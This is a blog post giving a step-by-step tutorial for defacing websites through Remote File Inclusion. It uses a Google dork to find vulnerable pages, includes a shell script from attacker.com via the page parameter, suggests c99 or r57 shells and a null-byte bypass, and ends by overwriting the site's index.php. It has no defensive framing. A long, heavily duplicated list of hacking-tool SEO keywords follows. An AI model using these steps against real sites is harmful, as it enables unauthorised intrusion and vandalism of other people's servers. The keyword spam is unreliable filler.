HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?
Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.
SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?
First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
- You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
- In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
- Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.
- Hacking Tools Online
- Hacker Tools
- Black Hat Hacker Tools
- How To Hack
- Github Hacking Tools
- Hack Tools For Mac
- Best Pentesting Tools 2018
- Best Pentesting Tools 2018
- Beginner Hacker Tools
- Best Pentesting Tools 2018
- Hack Rom Tools
- Hack Tools For Ubuntu
- Ethical Hacker Tools
- Free Pentest Tools For Windows
- Pentest Tools Tcp Port Scanner
- Kik Hack Tools
- World No 1 Hacker Software
- Pentest Tools For Mac
- Hacking Tools Name
- Pentest Tools For Windows
- New Hacker Tools
- Pentest Tools Windows
- Hacker Tools Github
- Pentest Tools Port Scanner
- Pentest Tools Website
- Hack Tool Apk No Root
- Physical Pentest Tools
- Hacking Tools Download
- Kik Hack Tools
- Pentest Tools Tcp Port Scanner
- Hack Tools
- Pentest Tools For Windows
- Pentest Tools Download
- Hack Tools Github
- Hak5 Tools
- Hacker Tool Kit
- Hacker Tools Software
- Hacking Tools Github
- Install Pentest Tools Ubuntu
- Easy Hack Tools
- Usb Pentest Tools
- Pentest Tools Subdomain
- Hacking Tools For Pc
- Hacker Tools Free
- New Hacker Tools
- Github Hacking Tools
- Tools 4 Hack
- Hacker Tools Apk
- Pentest Tools For Ubuntu
- Hacks And Tools
- Pentest Tools Free
- Hacking Tools Hardware
- Black Hat Hacker Tools
- Hack Tool Apk
- Pentest Tools
- Hacker Tools Software
- Pentest Tools Kali Linux
- Beginner Hacker Tools
- Hacking Tools 2019
- Hacker Tools Software
- New Hack Tools
- Pentest Tools Nmap
- Android Hack Tools Github
- Hacking Tools For Games
- Hacking Tools For Games
- Hacking Tools Free Download
- Top Pentest Tools
- Pentest Tools Apk
- Hack Tools
- Hackrf Tools
- Easy Hack Tools
- Pentest Reporting Tools
- How To Install Pentest Tools In Ubuntu
- Pentest Tools Subdomain
- Hacker Tools For Windows
- Hacker Tools For Mac
- Hack Tools For Mac
- Nsa Hack Tools
- Android Hack Tools Github
- Nsa Hack Tools
- Hack Tools For Mac
- How To Hack
- Nsa Hack Tools
- Pentest Tools Windows
- Best Hacking Tools 2020
- Pentest Box Tools Download
- Hacking Tools Kit
- Hacker Tools 2019
- Hack Website Online Tool
- Hacker Tools Windows
- Pentest Tools
- Hacking Tools Free Download
- Hacker
- Tools Used For Hacking
- What Are Hacking Tools
- What Are Hacking Tools
- Hacker Search Tools
- Hacking Tools Windows
- Hack Tools For Windows
- Pentest Recon Tools
- Hacking Tools Github
- Nsa Hack Tools
- Hak5 Tools
- Hacker
- Tools For Hacker
- New Hack Tools
- Hack Tools For Ubuntu
- Pentest Tools Bluekeep
- Kik Hack Tools
- Hacking Tools For Mac
- Hack Tools Pc
- New Hacker Tools
- Pentest Tools Online
- Best Pentesting Tools 2018
- Hacker Security Tools
- Pentest Automation Tools
- Best Hacking Tools 2019
- Hack Tools For Windows
- Hackrf Tools
- Pentest Tools For Android
- Growth Hacker Tools
- Hacking Apps
- Pentest Box Tools Download
- Pentest Tools Find Subdomains
- Hacker Tools Online
- Underground Hacker Sites
- Hacker Tools Apk Download
- Ethical Hacker Tools
- Pentest Tools Nmap
Комментариев нет:
Отправить комментарий